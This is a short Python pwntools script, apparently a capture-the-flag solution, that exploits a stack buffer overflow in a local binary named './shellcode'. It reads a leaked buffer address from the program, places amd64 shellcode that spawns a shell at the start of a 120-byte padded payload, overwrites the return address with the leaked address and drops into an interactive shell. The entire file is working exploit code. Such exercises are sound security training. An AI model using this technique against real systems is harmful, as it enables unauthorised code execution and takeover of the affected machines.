#! /usr/bin/python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 howpwn <finn79426@gmail.com>
#
# Distributed under terms of the MIT license.

from pwn import *


p = process("./shellcode")
padding = 120

input_buf = int(p.readline().split(" ")[6], 16)

context.arch = "amd64"

shellcode = asm(shellcraft.amd64.linux.sh())

payload = shellcode.ljust(padding, "A") + p64(input_buf)


p.sendline(payload)
p.interactive()

